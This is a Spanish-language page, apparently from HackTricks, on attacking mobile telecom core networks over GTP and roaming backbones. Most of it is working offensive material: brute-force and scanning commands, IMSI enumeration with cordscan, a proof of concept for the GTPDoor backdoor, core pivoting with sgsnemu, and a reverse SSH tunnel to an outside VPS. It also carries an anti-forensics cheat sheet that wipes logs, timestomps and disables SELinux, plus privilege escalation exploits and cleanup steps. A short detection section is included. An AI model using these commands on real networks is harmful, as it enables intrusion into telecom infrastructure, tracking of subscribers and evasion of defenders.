Explotación de Redes de Telecomunicaciones (GTP / Entornos de Roaming)
Reading time: 7 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
note
Los protocolos de núcleo móvil (Protocolo de Túnel GPRS – GTP) a menudo atraviesan espinas dorsales de roaming GRX/IPX semi-confiables. Debido a que se transmiten por UDP sin casi ninguna autenticación, cualquier punto de apoyo dentro de un perímetro de telecomunicaciones puede generalmente alcanzar directamente los planos de señalización central. Las siguientes notas recopilan trucos ofensivos observados en la naturaleza contra SGSN/GGSN, PGW/SGW y otros nodos EPC.
1. Reconocimiento y Acceso Inicial
1.1 Cuentas OSS / NE por Defecto
Un conjunto sorprendentemente grande de elementos de red de proveedores se envía con usuarios SSH/Telnet codificados como root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … Una lista de palabras dedicada aumenta drásticamente el éxito del ataque de fuerza bruta:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Si el dispositivo expone solo un VRF de gestión, pivotea a través de un host de salto primero (ver sección «SGSN Emu Tunnel» a continuación).
1.2 Descubrimiento de Hosts dentro de GRX/IPX
La mayoría de los operadores de GRX aún permiten ICMP echo a través de la red troncal. Combina masscan
con las sondas UDP gtpv1
integradas para mapear rápidamente los oyentes de GTP-C:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Enumerando Suscriptores – cordscan
La siguiente herramienta de Go crea paquetes de GTP-C Create PDP Context Request y registra las respuestas. Cada respuesta revela el actual SGSN / MME que atiende el IMSI consultado y, a veces, el PLMN visitado por el suscriptor.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Banderas clave:
--imsi
IMSI del suscriptor objetivo--oper
Hogar / HNI (MCC+MNC)-w
Escribir paquetes en bruto a pcap
Constantes importantes dentro del binario pueden ser parcheadas para ampliar los escaneos:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Ejecución de Código sobre GTP – GTPDoor
GTPDoor
es un pequeño servicio ELF que vincula UDP 2123 y analiza cada paquete GTP-C entrante. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta a través de /bin/sh -c
. La stdout/stderr se exfiltran dentro de los mensajes de Echo Response para que nunca se cree una sesión externa.
Paquete PoC mínimo (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Detección:
- cualquier host que envíe Solicitudes de Eco desbalanceadas a las IPs de SGSN
- bandera de versión GTP configurada en 1 mientras el tipo de mensaje = 1 (Eco) – desviación de la especificación
4. Pivotando a través del núcleo
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
envía un emulador de SGSN capaz de establecer un contexto PDP hacia un GGSN/PGW real. Una vez negociado, Linux recibe una nueva interfaz tun0
accesible desde el par de roaming.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Con un correcto hair-pinning de firewall, este túnel elude VLANs solo de señalización y te lleva directamente al data plane.
4.2 Túnel SSH Inverso a través del Puerto 53
DNS está casi siempre abierto en infraestructuras de roaming. Expón un servicio SSH interno a tu VPS escuchando en :53 y regresa más tarde desde casa:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Verifica que GatewayPorts yes
esté habilitado en el VPS.
5. Canales Encubiertos
Canal | Transporte | Decodificación | Notas |
---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | clave de 4 bytes + fragmentos de 14 bytes (XOR) | oyente pasivo puro, sin tráfico saliente |
DNS – NoDepDNS | UDP 53 | XOR (clave = funnyAndHappy ) codificado en octetos de A-registro | observa el subdominio *.nodep |
GTP – GTPDoor | UDP 2123 | blob AES-128-CBC en IE privado | se mezcla con el tráfico legítimo de GTP-C |
Todos los implantes implementan watchdogs que timestomp sus binarios y se reinician si se caen.
6. Hoja de Trucos de Evasión de Defensa
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Escalación de Privilegios en NE Legado
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Consejo de limpieza:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Caja de Herramientas
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– herramientas personalizadas descritas en secciones anteriores.FScan
: barridos TCP de intranet (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS WPAD maliciosoMicrosocks
+ProxyChains
: pivoteo ligero SOCKS5FRP
(≥0.37) : travesía NAT / puenteo de activos
Ideas de Detección
- Cualquier dispositivo que no sea un SGSN/GGSN estableciendo Solicitudes de Crear Contexto PDP.
- Puertos no estándar (53, 80, 443) recibiendo apretones de manos SSH desde IPs internas.
- Solicitudes de Eco frecuentes sin Respuestas de Eco correspondientes – podría indicar balizas de GTPDoor.
- Alta tasa de tráfico de respuesta de eco ICMP con campos de identificador/secuencia grandes y no cero.
Referencias
- Palo Alto Unit42 – Infiltración de Redes de Telecomunicaciones Globales
- 3GPP TS 29.060 – Protocolo de Túnel GPRS (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.